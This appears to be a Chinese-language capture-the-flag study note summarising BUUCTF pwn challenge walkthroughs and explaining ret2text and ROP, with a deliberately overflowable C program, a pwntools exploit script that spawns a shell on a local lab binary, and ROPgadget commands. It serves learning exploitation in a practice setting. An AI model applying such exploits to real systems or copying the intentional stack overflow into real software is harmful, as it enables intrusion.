Buuctf前四题
(一)test_your_nc
1.下载文件,将文件放到ida中静态分析
2.F5查看反编译的代码,main函数中发现只有system
4.写执行命令拿到flag
5.复制提交
(二)rip
1.终端输入chechswc pwn1查看文件
2.将文件用ida打开
3.F5查看反编译后的代码,在列表的fun函数中找到system
4.找到其首地址
5.计算偏移量
6.写脚本
运行,得到flag
(三)warmup_csaw_2016
1.checksec查看文件
2.将文件用ida打开,按shift+F12查看字符串,找到cat flag.txt
3.双击进入,发现其相关函数
4.找到相关函数,F5反编译,发现system
5.找到函数地址
6.查看主函数,计算偏移量
7.编写脚本,运行得出flag
(四)ciscn_2019_n_1
1.checksec查看文件
2.将文件用ida打开,F5反编译,发现func函数中有flag文件
3.计算溢出量
4.写脚本,运行得flag
(十四)baby_rop
1.checksec查看文件
2.将文件用ida打开,shift+F12查看字符串,找到system和/bin/sh,双击找到地址
3.F5反编译,查看主函数,计算
4.写脚本,运行得到flag
笔记
不同架构下寄存器传参方式
64位x86架构
1.RDI (Destination Index): 用于传递第一个整数参数。
2.RSI (Source Index): 用于传递第二个整数参数。
3.RDX (Data Register): 用于传递第三个整数参数。
4.RCX (Counter Register): 用于传递第四个整数参数。
5.R8: 用于传递第五个整数参数。
6.R9: 用于传递第六个整数参数。
若参数超过6个,超过参数用栈传递
32位架构
参数直接用栈传递
ret2text
原理
ret2text的原理是控制程序执行程序本身已有的的代码 (.text)。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是 gadgets),这就是我们所要说的 ROP。这时,我们需要知道对应返回的代码的位置。当然程序也可能会开启某些保护,我们需要想办法去绕过这些保护。
前置条件
1.程序存在栈溢出漏洞,可以覆盖返回地址。
2.程序.text段中存在可以执行恶意命令的代码片段,或者可以利用ROP技术拼接多个代码片段。
3.程序没有开启地址随机化或者可以泄露地址信息,可以确定代码片段的地址。
构造ROP传参
多数函数并不会直接将“shell = '/bin/sh'”这种危险字符串和system函数放在一起,此时就需要传参。
32位中构造ROP传参
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
char shell[] = "/bin/sh";
int func(char *cmd){
system(shell);
return 0;
}
int dofunc(){
char a[8]={};
write(1,"inputs: ",7);
read(0,a,0x100);
return 0;
}
int main(){
dofunc();
return 0;
}
利用溢出覆盖返回地址进入func函数内部,再将参数一指向“/bin/sh”的储存地址即可。其中要注意的是r处需要我们进行垃圾数据的填充。
from pwn import *
#配置信息
context(log_level='debug',arch='i386',os='linux')
#context(arch='arm64',os='linux')
#打开路径
file = './ret2text_func2_x86'
io = process(file)
elf = ELF(file)
#注入信息
sh_addr = 0x804c018
#ret_addr = 0x8049186
ret_addr = elf.symbols['func']
padding = 0x14
payload = padding*b'a' + p32(ret_addr) + p32(0) + p32(sh_addr)
dem = b'inputs:'
io.sendlineafter(dem,payload)
io.interactive()
64位中构造ROP传参
对x64的参数,大部分情况下,前六个参数储存在寄存器内,无法直接使用简单的栈溢出修改寄存器内容,这时候我们需要解除ROPgadget工具进行辅助。
ROP(Return Oriented Programming),即返回导向编程,通过栈溢出内容覆盖返回地址,使其跳转到可执行文件中已有的片段代码中执行我们选择的代码段。
知道了ROP工具的功能,我们需要做的是
1.修改rdi的值(可使用代码pop rdi ; ret)
2.在栈中放入‘bin/sh’经由pop提交给rdi
3.进入func函数内调用system函数
利用ROPgadget查找需要的代码行--pop rdi ; ret
ROPgadget --binary ret2text_func2_x64 --only 'pop|ret'
也可用ropper查询。
ropper --file 文件名 --search "pop|ret"